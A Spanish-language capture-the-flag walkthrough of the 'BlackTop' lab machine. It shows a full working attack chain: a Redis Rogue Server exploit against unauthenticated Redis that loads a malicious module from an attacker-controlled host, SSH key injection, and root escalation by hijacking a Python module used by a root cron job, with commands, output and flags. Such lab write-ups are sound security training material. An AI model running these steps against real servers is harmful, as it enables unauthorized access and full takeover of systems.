CorvusDDosKRom

Bugthrive: BlackTop

Easy

BlackTop es una máquina de nivel Easy en Bugthrive con Linux que expone Redis 5.0.5 sin autenticación. El vector principal involucra el ataque Redis Rogue Server para cargar un módulo malicioso, obtener RCE e inyectar una clave SSH. La escalada aprovecha un cron job de root con Python Library Hijacking.

Linux
Redis Redis RCE Redis Rogue Server SSH Python Library Hijacking Cron Misconfiguration

BlackTop

Plataforma: Bugthrive

Dificultad: Easy

🔗 Link de la máquina: https://bugthrive.com

BlackTop

Reconocimiento

Realizamos un escaneo de puertos con Nmap para identificar los servicios activos en la máquina objetivo.

sudo nmap -p- -sS -sCV --min-rate 5000 -Pn -n -oN blacktop.txt 172.18.179.190
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-05 13:23 -0300
Nmap scan report for 172.18.179.190
Host is up (1.00s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9f:35:6b:ad:65:e9:00:30:62:00:0b:69:9e:33:0e:2e (RSA)
|   256 5a:56:55:d3:fd:9c:af:b4:7c:69:0a:f8:cd:84:87:c1 (ECDSA)
|_  256 9c:f9:b3:7b:1d:7d:77:cb:65:6a:f7:d1:15:7f:90:cf (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Blacktop Portal
|_http-server-header: nginx/1.18.0 (Ubuntu)
6379/tcp open  redis   Redis key-value store 5.0.5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.20 seconds

Detalles del comando:

  • -p-: Escaneo de todos los puertos.
  • -sS: Escaneo SYN para determinar el estado de los puertos.
  • -sCV: Usa scripts por defecto y detectar versiones de servicios.
  • --min-rate 5000: Establece un ritmo mínimo de escaneo.
  • -n: Desactiva la resolución DNS.
  • -Pn: Omite la detección de hosts activos.
  • -oN blacktop.txt: Guarda los resultados en el archivo “blacktop.txt”.

Puertos descubiertos:

PuertoServicioDetalle
22/tcpSSHOpenSSH 8.2p1
80/tcpHTTPnginx 1.18.0 — Blacktop Portal
6379/tcpRedisRedis 5.0.5

El hallazgo más relevante es Redis 5.0.5 expuesto directamente en el puerto 6379. Redis no debería ser accesible públicamente y es común encontrarlo sin autenticación, lo que puede abrir múltiples vectores de ataque.

Agregamos el dominio al /etc/hosts:

echo "172.18.179.190 blacktop.bt" | sudo tee -a /etc/hosts

Enumeración

Puerto 80 — Blacktop Portal

Web

El portal muestra un Feedback System con input sin sanitizar, un System Status (Web Service: running, Auth Service: unstable, Debug Mode: enabled) y al desplazarse hacia abajo, Developer Notes:

Developer Notes

  • TODO: sanitize user input before production
  • Admin panel authentication pending
  • Session management needs improvement
  • Debug mode still enabled

La navegación expone páginas adicionales. La pestaña Reports muestra reportes restringidos y un botón de exportación CSV:

Reports

La pestaña Admin presenta un prompt de username:

Admin

La pestaña API documenta endpoints con autenticación Bearer:

API

Revisando el JavaScript de la aplicación:

// Fake dev variables (rabbit hole, but harmless)
const DEBUG_MODE = true;
const API_TOKEN = "dev-token-98765";

// Feedback handler (INTENTIONAL XSS)
output.innerHTML += "<p>" + msg + "</p>";

// Console bait
console.log("API token:", API_TOKEN);

El comentario // Fake dev variables y // INTENTIONAL XSS confirman que todo el sitio web es un rabbit hole: el XSS es client-side, el token es falso, la API retorna 404, y el panel admin es JavaScript puro sin backend.

Puerto 6379 — Redis

redis-cli -h 172.18.179.190 ping
PONG

Redis responde sin autenticación. Enumeramos la configuración:

redis-cli -h 172.18.179.190 info server
redis-cli -h 172.18.179.190 config get dir
redis-cli -h 172.18.179.190 config get dbfilename
redis_version:5.0.5
os:Linux 6.17.0-1013-aws x86_64
dir: /tmp
dbfilename: dump.rdb

Verificamos qué directorios son accesibles para escritura:

for dir in /var/lib/redis /home/redis /home/david /root /tmp /var/www/html; do
  result=$(redis-cli -h 172.18.179.190 config set dir $dir 2>&1)
  echo "$dir -> $result"
done
/var/lib/redis -> OK
/home/redis -> ERR Changing directory: No such file or directory
/home/david -> OK
/root -> ERR Changing directory: Permission denied
/tmp -> OK
/var/www/html -> OK

/home/david es accesible, lo que revela que el usuario del sistema se llama david y Redis corre con sus permisos. No puede acceder a /root, confirmando que no corre como root.


Explotación

Redis Rogue Server — CVE-2019-10192

Las técnicas clásicas de Redis (webshell, cron, SSH key injection) fallan por distintas razones:

  • El webroot real no sirve PHP
  • El directorio /etc/cron.d escribe en formato RDB binario que los parsers de cron rechazan
  • El directorio /var/lib/redis/.ssh no existe y Redis no puede crear directorios

La solución es el ataque Redis Rogue Server: forzamos al Redis víctima a replicar desde un master malicioso bajo nuestro control, que le envía un RDB con un módulo .so embebido. El módulo registra el comando system.exec que permite ejecutar comandos arbitrarios.

Compilación del módulo

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
make

El make inicial falla con errores de includes faltantes en module.c (strlen, strcat, inet_addr). Lo corregimos con:

sed -i '/#include <netinet\/in.h>/a #include <string.h>\n#include <arpa\/inet.h>' src/module.c && make

La compilación finaliza con warnings (no errores) y genera module.so.

Ejecución del ataque

Antes de lanzar el Rogue Server, nos aseguramos de que el directorio de Redis apunte a /tmp:

redis-cli -h 172.18.179.190 config set dir /tmp

Clonamos redis-rogue-server (implementación más robusta que redis-rce):

git clone https://github.com/n0b0dyCN/redis-rogue-server
cd redis-rogue-server

El script tiene un bug de encoding — intenta decodificar datos binarios como gb18030. Lo parcheamos:

sed -i "s/decode('gb18030')/decode('latin-1')/g" redis-rogue-server.py

Lanzamos el ataque:

python3 redis-rogue-server.py --rhost 172.18.179.190 --lhost 10.200.0.82 --exp ../RedisModules-ExecuteCommand/module.so
[info] TARGET 172.18.179.190:6379
[info] SERVER 10.200.0.82:21000
[info] Setting master...
[info] Setting dbfilename...
[info] Loading module...
[info] Temerory cleaning up...
What do u want, [i]nteractive shell or [r]everse shell: i
[info] Interact mode start, enter "exit" to quit.
[<<] id
[>>] uid=1000(david) gid=1000(david) groups=1000(david)

RCE

El módulo cargó correctamente. Tenemos RCE como david.

Inyección de clave SSH

Desde la shell interactiva obtenemos la user flag y preparamos el acceso SSH:

[<<] cat /home/david/user.txt
[>>] BUGTHRIVE{r3d15_rc3_70_55h_pwn3d_762346}

[<<] mkdir -p /home/david/.ssh && chmod 700 /home/david/.ssh
[<<] echo 'ssh-rsa AAAA...NUESTRA_CLAVE_PUBLICA...' > /home/david/.ssh/authorized_keys
[<<] chmod 600 /home/david/.ssh/authorized_keys

Generamos el par de claves en nuestra máquina:

ssh-keygen -t rsa -b 2048 -f blacktop_key -N ""

Acceso SSH — Usuario david

ssh -i blacktop_key david@172.18.179.190

SSH

david@daa882def760:~$ id
uid=1000(david) gid=1000(david) groups=1000(david)

User Flag

david@daa882def760:~$ cat ~/user.txt
BUGTHRIVE{r3d15_rc3_70_55h_pwn3d_762346}

Escalada de Privilegios

Enumeración del sistema

Revisamos tareas programadas para identificar procesos que corran como root:

cat /etc/crontab
cat /etc/cron.d/*

/etc/crontab solo tiene los jobs del sistema. El job relevante está en /etc/cron.d/blacktop:

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
* * * * * root /usr/bin/python3 /home/david/script.py

Un cron job ejecuta /home/david/script.py como root cada minuto. Revisamos el script:

cat /home/david/script.py
#!/usr/bin/env python3

import sys
sys.path.insert(0, "/home/david/.local/lib/python3.8/site-packages")

import base64
import os

try:
    open('/tmp/dummy.log', 'wb').write(b"test")
    log_file = open('/tmp/dummy.log', 'rb')
    data = base64.b64encode(log_file.read())
except:
    pass

Python Library Hijacking

El script inserta /home/david/.local/lib/python3.8/site-packages al principio del sys.path antes de importar base64. Esto significa que cuando root ejecute el script, Python buscará base64 primero en ese directorio, que está bajo nuestro control.

El directorio .local ya existe en el home de david. Creamos la ruta completa y escribimos el base64.py malicioso:

mkdir -p /home/david/.local/lib/python3.8/site-packages
echo 'import os; os.system("chmod u+s /bin/bash")' > /home/david/.local/lib/python3.8/site-packages/base64.py

Esperamos a que el cron se ejecute (máximo 1 minuto) y verificamos:

david@daa882def760:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash

/bin/bash tiene el bit SUID activo. Ejecutamos con -p para preservar el euid:

david@daa882def760:~$ bash -p
bash-5.0# whoami
root
bash-5.0# id
uid=1000(david) gid=1000(david) euid=0(root) groups=1000(david)

Root Shell


Root Flag

bash-5.0# cd /root
bash-5.0# cat root.txt
root{pyth0n_m0dul3_h1j4ck_r00t_98234}

Root Flag


Máquina BlackTop de Bugthrive completada exitosamente.